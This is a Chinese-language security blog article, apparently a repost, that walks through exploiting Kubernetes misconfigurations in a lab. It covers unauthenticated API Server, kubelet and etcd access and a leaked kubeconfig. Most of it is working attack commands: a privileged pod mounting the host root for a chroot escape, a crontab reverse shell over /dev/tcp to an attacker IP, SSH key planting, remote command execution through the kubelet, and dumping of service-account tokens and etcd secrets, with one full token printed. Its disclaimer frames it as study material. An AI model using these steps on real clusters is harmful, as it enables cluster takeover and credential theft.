文章总结: 本文详细介绍了Kubernetes(k8s)的多个安全漏洞及其利用方法,包括APIServer未授权访问(8080和6443端口)、kubelet10250端口未授权、etcd未授权访问以及kubeconfig泄露。文章解释了每种漏洞的成因、利用条件和攻击方式,展示了攻击者如何通过这些漏洞获取集群控制权,包括创建特权容器逃逸、写入定时任务反弹shell、获取token等。文章还提供了环境搭建方法和漏洞验证步骤,对Kubernetes安全防护有重要参考价值。
综合评分: 88
文章分类: 云安全,漏洞分析,渗透测试,红队,漏洞预警
【云安全】k8s漏洞合集 | k8s安全攻防
原创
blue澜
逐影安全
2025年4月25日 09:10
北京
🤔之前AI那篇文章有位师傅后台想要下k8s漏洞文档,不过后来超过时间我没法回复了,干脆直接发篇文章出来,当然文章最后也会附上原文档下载地址
❗本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
k8s漏洞合集 | k8s安全攻防
k8s安装
多节点安装,而且如果不考虑指定版本的话可以看我另一篇文章《本地k8s搭建(无视网络限制,简单几步搭建)》,这里为了测试漏洞直接利用metarget进行单节点安装了,metarget初次提到,是在《【深度解析】从docker底层原因到CVE-2020-15257》想详细了解的可以看下
1️⃣安装一个1.16的k8s
#先安装docker
./metarget gadget install docker --version 18.03.1
#安装k8s
./metarget gadget install k8s --version=1.16.5 --domestic
💡当装完metarget的时候可以趁着环境还干净打个镜像,之后如果发生什么类似于冲突相关的问题的时候就可以还原快照,简单粗暴的解决。
❗如果遇到bug或错误,可能性太多,不过大概率还是网络问题,如果实在解决不了欢迎留言私信加入交流群,看到了会及时回复。
判断是否是k8s容器内
#可以使用命令
kubectl exec -it <pod-name> -- /bin/bash
1️⃣查看磁盘空间使用情况,会发现下图所示/run/secrets/kubernetes.io/serviceaccount
image-20250214150513058
💡这个目录是Kubernetes中一个与服务账户(Service Account) 相关的目录。它包含了用于访问 Kubernetes API的凭证文件。这些凭证是由 Kubernetes 自动生成并挂载到每个 Pod 中,以允许 Pod 中运行的进程与 Kubernetes 集群进行安全的通信。
token:一个 JWT(JSON Web Token)令牌,它用于身份验证和授权。Kubernetes API 服务器使用这个 token 来验证 Pod 是否有权访问 API。ca.crt:Kubernetes API 服务器的证书(CA 证书),用于建立安全的 HTTPS 连接,以确保 Pod 与 API 服务器之间的通信是加密的,并且信任的。namespace:存储 Pod 所在的命名空间(namespace)信息。每个 Pod 都与某个命名空间关联,这个文件帮助进程了解其运行的命名空间。
2️⃣查看env环境变量
API Server未授权访问
API Server:
在 Kubernetes 集群中,API Server 是集群的核心组件之一,它充当着所有 Kubernetes 组件之间的通信枢纽,所有集群的操作(如创建、更新、删除、查询资源)都通过它来进行,跟之前讲的docker类似,如果出现api server未授权的情况,攻击者可以接管整个k8s😲。
API Server默认有两个端口8080和6443,💡这两个端口都提供访问 Kubernetes API 的服务,不过8080端口是非安全端口使用http协议,所以一般用于测试开启,而6443端口是默认的安全端口,采取https协议。
8080端口未授权访问
✨利用条件
- Kubernetes版本小于 v1.20
- 8080端口可访问
漏洞的产生
在k8s配置文件中(不通安装方式可能配置文件不同)
vim /etc/kubernetes/manifests/kube-apiserver.yaml
利用下面两个配置打开非安全连接并且监听所有网络接口
image-20250311151006625
重启生效
systemctl restart kubelet
❗对于不同版本对于非安全连接的--insecure-port选项
- Kubernetes v1.10 选项默认值从
8080改为0(即默认禁用) - Kubernetes v1.19 选项被正式标记为废弃(Deprecated),建议用户迁移到安全端口 6443 并使用认证方式访问 API Server。
- Kubernetes v1.20 选项被彻底移除,即从该版本开始,即使手动添加 –insecure-port=8080,也不会生效。
然后直接访问8080就能看到对应接口了
漏洞利用
🛠️操作k8s
和docker一样,如果k8s的API Server出现未授权那么攻击者将完全接管k8s,利用k8s客户端进行任何操作。
⏬在自己的服务器上下载并安装kubectl
#设置 Kubernetes YUM 仓库
cat <<EOF > /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF
#一键安装
yum install -y kubectl
✅当我们成功在我们自己的服务器安装完kubectl客户端后,就可以直接利用命令来操作未授权的k8s
#查询所有命名空间
kubectl -s 192.168.52.130:8080 get ns
image-20250313213029210
kubectl -s ip:8080 get node
kubectl -s ip:8080 get pods
直接接管
image-20250311235845061
🎊进入容器
kubectl -s ip:8080 exec -it [容器名] -- /bin/bash
image-20250314013145773
🎉创建特权容器逃逸拿主机shell
在本地新建一个test.yaml文件如下
apiVersion: v1
kind: Pod
metadata:
name: nginx-hack1
spec:
containers:
- image: ccr.ccs.tencentyun.com/library/nginx
name: test
volumeMounts:
- mountPath: /mnt
name: test
volumes:
- name: test
hostPath:
path: /
根据上面的yaml创建了一个pod,并且将主机的根路径/挂载到了该容器内的/mnt
#根据test.yaml在远程k8s创建pod并且跳过TLS验证
kubectl --insecure-skip-tls-verify -s http://your-ip:8080/ apply -f test.yaml
然后我们可以执行进入到这个pod中,切换到/mnt,利用chroot逃逸
kubectl --insecure-skip-tls-verify -s http://192.168.52.130:8080/ exec -it nginx-hack1 -- /bin/bash
chroot /mnt
😁逃逸成功
image-20250315154420017
🎈写入定时任务反弹shell
在我们根据上面的内容创建了特权容器的时候,可以通过将反弹shell的命令写入到/mnt/var/spool/cron/root也就是宿主机的定时任务里,这样也能拿到宿主机的shell
❗而且由于我的k8s所在系统是ubuntu,所以在以往文章中也提过反弹任务要加上bash -c(ubuntu写定时任务有很多坑,建议仔细看看下方命令)
kubectl -s http://192.168.52.130:8080/ exec escape-pod -it -- /bin/bash -c 'echo "* * * * * /bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.52.142/4444 0>&1\"" > /mnt/var/spool/cron/crontabs/root'
🔑写公钥逃逸
由于根目录已经挂载了,所以我们可以直接将公钥写到宿主机的/root目录中,然后直接连接宿主机
#将公钥写到宿主机
kubectl -s http://192.168.52.130:8080/ exec escape-pod -it -- /bin/bash -c "echo '$(cat ~/.ssh/id_rsa.pub)' > /mnt/root/.ssh/authorized_keys"
#直接拿私钥去连接
ssh -i ~/.ssh/id_rsa [email protected]
6443端口未授权
与8080端口相对的就是6443端口未授权,6443端口提供https服务,如果运维人员配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下访问 6443 端口,提示 Forbidden。
如果存在未授权,利用起来跟8080如出一辙,唯一的区别就是前面加上如下参数
kubectl --insecure-skip-tls-verify
kubelet 10250端口未授权
之前在云安全基础的时候讲过kubelet服务
Kubelet
-
每个Node节点上都运行一个 Kubelet 服务进程,默认监听 10250 端口,接收并执行 Master 发来的指令,管理 Pod 及 Pod 中的容器。
-
每个 Kubelet 进程会在 API Server 上注册所在Node节点的信息,定期向 Master 节点汇报该节点的资源使用情况,并通过 cAdvisor 监控节点和容器的资源。
-
正常情况下访问该端口,如下是未认证状态
image-20250323215558000
❗如果出现错误配置,如下
image-20250323220635332
1️⃣anonymous.enabled如果设置为true,表示那么任何人都可以直接访问 kubelet API(10250 端口)
2️⃣authorization.mode表示指定授权模式,其中AlwaysAllow表示所有请求都直接通过,没有权限控制,而通常情况下这个选项的值为Webhook,表示将授权请求转发给 kube-apiserver,结合 RBAC 进行权限控制(所以如果是这种模式,即使anonymous.enabled设置为true,那么一些敏感操作也不会有权限执行)。
🧨如下图那样,就表示存在kubelet 10250端口未授权
🤖在容器内执行命令
当10250出现未授权的时候,我们就可以访问这个kubelet的信息以及执行一些命令
#查看正在运行的pod
https://192.168.52.130:10250/runningpods/
🧐比如下方我们可知存在一个pod,正在运行,镜像是什么以及名字
🤖我们可以利用如下请求在对应容器执行命令
#curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=ls /tmp"
执行成功
image-20250323225334405
🪄当然我们也可以查看当前容器是否挂载了主机目录
curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=fdisk -l"
像下图那样如果比较幸运发现当前pod存在特权容器,也可以用来逃逸
🔑获取token
在 Kubernetes 中,每个 Pod 都可以与一个 服务账户 关联。服务账户(Service Account)是 Kubernetes 提供的一种机制,用于为应用程序(通常是 Pod 内的容器)提供访问 Kubernetes API 的凭证。这些凭证是通过 Kubernetes 自动分配给 Pod 的,通常用于容器与集群中的其他资源进行交互。
获取token
curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
拿到这个token之后就可以尝试看下这个token的权限能否操作api-server
curl -X GET -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InlkM2ZzWTRKa1psdVdSX0otUGNpWVVBbFd3YXFiMWVac1VyWG5uMExzM1UifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4teGpsczciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjkyMjM5ZTliLWQwNzItNDkwMS04ZjE0LTU2YzRkMjIyOTRkYSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OQGewe4CWydPisIRzqVzrom7U5Xqwzlauhkq4Xl7sIrFyY5DWT2Q6euTGfXm0AiFP4muHMrUwcIAPBywlqDyJBhO_W92A3HMVFrQL74XYsA7LluAgZsd64D9DPBr-k79jZGU4OhUaX0VprbacJuUzW2IHM8G7AKpbG0BUBaZZBslGg3O2HJEuAdt8J5527fbPkEIJDtDslo-yInDqIwaGYWpDgrSuHrwVLcNCiRDfm1PvCe-Xi2Y7DwljIhpMB5BlEMq4Kd78xHip2IW-NVSzZLPzWa71h_6PfeNYQ6t8tvrE8PJAHwr1mt9mgodZq7Fs64fEzSiaJJnpHcXFtCBXQ" https://192.168.52.130:6443/api/v1/pods
😕不过大多数情况应该不太行
当然如果开放了dashboard也可以尝试登录一下,不过大多数情况应该也不行
💾etcd未授权访问
简单的说etcd可以被视作 “Kubernetes 的数据库” ,但它的功能远远不止作为一个传统意义上的数据库。我们可以将 etcd 看作是一个 分布式键值存储系统,它主要用于 存储集群的配置信息和状态,为 k8s 集群提供底层数据存储,保存了整个集群的状态。。
在 K8s 集群初始化后,etcd 默认就以 pod 的形式存在,可以执行如下命令进行查看,etcd 组件监听的端口为 2379,并且默认对外开放。
kubectl get pods -A | grep etcd
正在运行
image-20250329161509357
📄/etc/kubernetes/manifests/etcd.yaml是etcd的配置文件,其中存在一个配置项--client-cert-auth默认为true,表示访问etcd服务需要携带cert进行认证,如果目标启动etcd没有开启该选项,且由于默认2379端口又是对外开放的,所以造成未授权
image-20250329162235255
访问如下地址证明未授权存在
#查看版本
https://192.168.52.130:2379/version
#访问和管理存储在 etcd 中的键值数据
https://192.168.52.130:2379/v2/keys
✉️版本信息
✉️键值数据
每个 Service Account 都会自动生成一个关联的 Secret,这个 Secret 中包含了用于访问集群的认证凭证(即 Token)。如果某个 Service Account 拥有较高的权限,例如
cluster-admin权限,那么它的 Token 就能提供对集群内所有资源的全面访问权。通过查找和获取这些高权限的 Token,攻击者可以发起 API 请求,执行包括修改集群配置、删除资源、创建新资源等在内的任意操作,从而完全控制 Kubernetes 集群。
#查询 etcd 集群中的键,并过滤出包含 "secret" 的键
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.52.130:2379/ get / --prefix --keys-only|sort|uniq| grep secret
image-20250329165909530
#获取token
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.52.130:2379/ get /registry/secrets/kube-system/default-token-7blf8
🗝️最终的 token 为 token? 和 \#kubernetes.io/service-account-token 之间的部分,也就是我圈起来的值
image-20250329170802684
curl --header "Authorization: Bearer [token]" -X GET https://192.168.52.130:6443/api/v1 -k
成功
🧐同样的如果开放了dashboard也可以用这个token去登录
🎁kubeconfig泄露
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:
- 如果提供了–kubeconfig参数,就使用提供的 kubeconfig 文件。
- 如果没有提供–kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
- 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
如下图比方说我这里利用漏洞拿到对应宿主机k8s的config文件,得到内容😁
image-20250329230501699
然后同样的我创建了一个文件,将上面的config文件内容放了进去
vim /root/.kube/config
🆗当我执行完这个操作后,直接尝试在我们并没安装k8s的攻击机上执行k8s命令看看会发生什么,可以看到当我存在这个配置文件的时候它会直接通过配置文件中的server地址,然后再通过配置文件中的认证信息去调用k8s执行对应命令,❌然后当我把这个文件弄没,对应命令就执行不了了
image-20250329231018976
当然如果配置文件并不在上文提到的kubectl在执行命令时会主动去找配置文件的那三个地方,我们也可以用--kubeconfig参数手动指定
image-20250329231250891
文档下载地址后台回复:k8s漏洞文档
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逐影安全 blue澜《【云安全】k8s漏洞合集 | k8s安全攻防》